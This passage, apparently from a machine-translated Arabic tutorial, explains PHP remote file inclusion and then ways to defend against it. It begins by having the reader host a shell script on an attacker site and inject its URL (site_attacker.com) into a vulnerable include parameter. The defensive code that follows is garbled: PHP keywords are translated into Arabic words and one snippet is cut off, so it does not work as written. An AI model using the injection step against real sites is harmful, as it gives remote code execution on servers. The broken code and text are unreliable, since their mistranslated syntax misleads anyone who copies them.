قم بإنشاء مجلد مجلدعلى موقع الويب الذي تم تخزين الصدفة فيه، قم بإسقاط الصدفة في هذا المجلد:

http: //www.attack_site.com/folder/shell.php

سيبدو الحقن في هذه الحالة كما يلي:

فِهرِس. بي أتش بي؟ دير1 = http : //www.site_attacker.com/

طرق الحماية


دعونا نلقي نظرة على البرنامج النصي:

...

تضمين $module . ".بي أتش بي" ؛
...
?>

هذا البرنامج النصي عرضة للخطر بسبب محتويات المتغير وحدة $ فقط اضافة *.بي أتش بي ويتم تشغيل الملف باستخدام المسار الناتج.

هناك عدة طرق للحماية من مثل هذا الهجوم:​


-تحقق مما إذا كان المتغير $module يحتوي على أحرف غريبة:

...
$module = $_GET ["module" ];
if (strpbrk ($module , ".?/:" )) die("Blocked" );
تضمين $module . ".بي أتش بي" ؛
...
?>

-تأكد من تعيين $module لإحدى القيم الصالحة:
"/" , "" , $page ); // القدرة على الانتقال إلى أدلة أخرى محظورة.
إذا (file_exists ("files/ $page .htm " ))
{
تضمين ("الملفات/$page.htm" );
}
آخر
{
صدى صوت
"خطأ" ؛
}

?>

توفر PHP أيضًا إمكانية تعطيل استخدام الملفات البعيدة، ويتم ذلك عن طريق تغيير قيمة خيارallow_url_fopen إلى Off في ملف التكوين php.ini.

تشكل الثغرة الموصوفة خطرًا كبيرًا على الموقع ويجب على مؤلفي نصوص PHP ألا ينسوها.

عند الكتابة، المواد من
ويكيبيديا,
من المنتدى الأجنبي Security-sh3ll (spl0it)،
من منتدى Antichat (GreenBear).
شكر خاص ل بيرتو f02لمساعدتك،
الدعم والنقد الجيد)